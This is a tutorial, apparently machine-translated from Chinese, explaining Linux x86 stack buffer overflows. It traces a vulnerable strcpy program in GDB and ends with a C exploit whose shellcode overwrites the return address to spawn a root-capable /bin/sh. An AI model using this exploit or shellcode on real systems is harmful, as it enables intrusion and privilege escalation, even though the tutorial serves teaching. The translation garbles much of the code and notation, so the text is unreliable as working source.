Principle and utilization of stack overflow in Linux Author: Xinhe 1. Process Space Memory Distribution When a program is running, the system will allocate 4 GB of virtual memory to the program, which is shared with 2 GB and accessible to the kernel, 2 GB is exclusive to the process, and the program is divided into program segments, data segments, and stack segments. Dynamic data is stored through stack segments. The distribution is as follows: High memory + ------------------- + | Program segment | + ------------------- + | Data Segment | + ------------------- + | Stack | + ------------------- + Low-end memory
The distribution of stack segments is as follows: High memory + ------------------- + | Function stack | + ------------------- + | Function stack | + ------------------- + | ------- | + ------------------- + | Heap | + ------------------- + Low-end memory 2. Use of stacks by programs Each time the program calls a function, it will apply for a certain amount of space in the stack. We call this space a function stack, and with the number of layers of function calls Increase: function stack blocks are extended from high-end memory to low-end memory addresses. Otherwise, as the number of function calls in a process decreases Function stacks are discarded and scaled back to the memory address. The stack size of each function varies with the function nature. The difference is determined by the number of local variables of the function. The process dynamically applies for memory in the heap (HEAP). That is to say, as the system dynamically allocates more memory to the process, Heap (HEAP) may extend to high-or low-address, depending on the implementation of different CPUs, but generally increases to the high-address direction of memory. When a function call occurs, the function parameters are first pushed to the stack, and then the return address of the function is pushed to the stack. The return address here is usually The address of the next instruction of the call. Here we use an instance to illustrate this process: Write such a program // Test. c # Include <stdio. h> Int fun (char * Str) { Char buffer [10]; Strcpy (buffer, STR ); Printf ("% s", buffer ); Return 0; } Int main (INT argc, char ** argv) { Int I = 0; Char * STR; STR = argv [1]; Fun (STR ); Return 0; } Compile gcc-g-o Test test. c Use GDB for debugging. GDB Test Disassemble the main function 0x08048db <main + 0>: Push % EBP 0x080483dc <main + 1>: mov % ESP, % EBP 0x080483de <main + 3>: Sub $0x8, % ESP 0x080483e1 <main + 6>: and $0xfffffff0, % ESP 0x080483e4 <main + 9>: mov $0x0, % eax 0x080483e9 <main + 14>: Sub % eax, % ESP 0x080483eb <main + 16>: movl $0x0, 0 xfffffffc (% EBP) 0x080483f2 <main + 23>: mov 0xc (% EBP), % eax 0x080483f5 <main + 26>: add $0x4, % eax 0x080483f8 <main + 29>: mov (% eax), % eax 0x080483fa <main + 31>: mov % eax, 0xfffffff8 (% EBP) 0x080483fd <main + 34>: Sub $ 0xc, % ESP 0x08048400 <main + 37>: pushl 0xfffffff8 (% EBP) 0x08048403 <main + 40>: Call 0x80483a8 <fun> 0x08048408 <main + 45>: add $0x10, % ESP 0x0804840b <main + 48>: mov $0x0, % eax Zero X 08048410 <main + 53>: Leave 0x08048411 <main + 54>: Ret Pay attention to this line 0x08048403 <main + 40>: Call 0x80483a8 <fun> This line calls the fun function, and the command address of the next line is: 0x08048408, that is, 0x08048408 will be returned after the fun function is called. Set a breakpoint in the first line of the original program B 14 Run AAAA At this time, before the program ships to the function call, check the register address. I reg Eax 0xbffffaa7-1073743193 ECX 0 x bffff960-1073743520 EdX 0 x bffff954-1073743532 EBX 0x4014effc 1075113980 ESP 0xbffff8c0 0xbffff8c0 EBP 0xbffff8c8 0xbff8c8 ESI 0x2 2 EDI 0x401510fc 1075122428 EIP 0x80483fd 0x80483fd Eflags 0x200282 2097794 CS 0x73 115 SS 0x7b 123 DS 0x7b 123 Es 0x7b 123 FS 0x0 0 GS 0x33 51 Here we need to care about the main register ESP (stack top pointer), EBP (stack bottom pointer), EIP (Instruction Pointer) Let's take a look at the data in ESP. X/8x $ ESP 0xbffff8c0: 0xbffffaa7 0x00000000 0xbffff928 0x4004cad4 0xbffff8d0: 0x00000002 0xbffff954 0xbffff960 0x40037090 Let's take a look at the STR address. Print Str $1 = 0xbffffaa7 "aaaa" Because STR is a parameter in the command line, it is obvious that when the main function is called here, the parameter address is first pushed into the stack. Then, execute the program in one step and check the register again. Si Si Si I reg Eax 0xbffffaa7-1073743193 ECX 0 x bffff960-1073743520 EdX 0 x bffff954-1073743532 EBX 0x4014effc 1075113980 ESP 0xbffff8ac 0xbffff8ac EBP 0xbffff8c8 0xbff8c8 ESI 0x2 2 EDI 0x401510fc 1075122428 EIP 0x80483a8 0x80483a8 Eflags 0x200396 2098070 CS 0x73 115 SS 0x7b 123 DS 0x7b 123 Es 0x7b 123 FS 0x0 0 GS 0x33 51 We found that the ESP value has changed. Let's see what is under pressure. X/8x $ ESP 0xbffff8ac: 0x08048408 0xbffffaa7 0x4014effc 0x00000000 0xbffff8bc: 0x4014effc 0xbffffaa7 0x00000000 0xbffff928 Here I can clearly see the call Process First, the parameter address 0xbffffaa7 is pushed into the stack, and then the return address 0x08048408 is pushed into the stack. Next, let's look at it. We also decompiled the fun function. Disas fun 0x080483a8 <fun + 0>: Push % EBP 0x080483a9 <fun + 1>: mov % ESP, % EBP 0x080483ab <fun + 3>: Sub $0x18, % ESP 0x080483ae <fun + 6>: Sub $0x8, % ESP 0x080483b1 <fun + 9>: pushl 0x8 (% EBP) 0x080483b4 <fun + 12>: Lea 0xffffffe8 (% EBP), % eax 0x080483b7 <fun + 15>: Push % eax 0x080483b8 <fun + 16>: Call 0x80482e8 <_ init + 72> 0x080483bd <fun + 21>: add $0x10, % ESP 0x080483c0 <fun + 24>: Sub $0x8, % ESP 0x080483c3 <fun + 27>: Lea 0xffffffe8 (% EBP), % eax 0x080483c6 <fun + 30>: Push % eax 0x080483c7 <fun + 31>: Push $0x80484e8 0x080483cc <fun + 36>: Call 0x80482d8 <_ init + 56> 0x080483d1 <fun + 41>: add $0x10, % ESP 0x080483d4 <fun + 44>: mov $0x0, % eax 0x080483d9 <fun + 49>: Leave 0x080483da <fun + 50>: Ret Continue to execute Si Si Si X/16x $ ESP 0xbffff890: 0x08048414 0x080495d0 0xbff8a8 0x080482b5 0xbffff8a0: 0x00000000 0x00000000 0xbff8c8 0x08048408 0xbffff8b0: 0xbffffaa7 0x4014effc 0x00000000 0x4014effc 0xbffff8c0: 0xbffffaa7 0x00000000 0xbffff928 0x4004cad4 Print & Buffer $7 = (char (*) [10]) 0xbffff890 It can be seen that the program allocates space for the buffer, and the size of the space is 24 bytes. Program continues execution Next X/16x $ ESP 0xbffff890: 0x41414141 0x08049500 0xbffff8a8 0x080482b5 0xbffff8a0: 0x00000000 0x00000000 0xbff8c8 0x08048408 0xbffff8b0: 0xbffffaa7 0x4014effc 0x00000000 0x4014effc 0xbffff8c0: 0xbffffaa7 0x00000000 0xbffff928 0x4004cad4 From this we can see that starting from the address 0xbffff890 (also the buffer address), it begins to fill the high-end memory. The accesskey ID of Four "A" A is 41. 3. Its Stack Buffer Overflow We will continue to analyze this program. When we define a buffer, We need to allocate 10 bytes of space, and the program can actually allocate 24 bytes of space. When strcpy is executed The length of a copied to buffer is not checked. If the number of a copied to buffer exceeds 24 bytes, overflow occurs. If the length of a copied to the buffer is long enough and the return address 0x08048408 is overwritten, the program will fail. Common reports If the returned address cannot be accessed, a segment error occurs.
4. Stack Buffer Overflow. Since we may overwrite the return address, it means we can control the process of the program. If the return address is exactly a shellcode To obtain a shell. Next we will write an exploit to attack this program. // Test_exploit.c # Include <stdio. h> # Include <unistd. h> Char shellcode [] = "/x31/XDB/x89/xd8/xb0/x17/XCD/X80" "/Xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/X46/x07/x89/X46/x0c" "/Xb0/x0b/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/XCD/X80/x31/XDB" "/X89/xd8/X40/XCD/X80/xe8/xdc/xFF/bin/sh "; Int main () { Char STR [] = "aaaaaaaaaa" "Aaaaaaaaaa" "Aaaaaaaaaa" "AAAAA "; * (Int *) & STR [28] = (INT) shellcode; Char * Arg [] = {"./test", STR, null }; Execve (ARG [0], ARG, null ); Return 0; } Here, we store the shellcode address in the characters 28th, 29, 30, and 31 of STR, because we learned from the above analysis that the return address is The position at which the buffer offset is 28. Compile this program Gcc-g-o test_exploit test_exploit.c Execute. Haha, we are expecting the appearance of shellcode. Reporter Note: There is a magazine <Buffer Overflow tutorial> edited by Wang Wei Fang Yong, who has a more systematic description of shellcode. |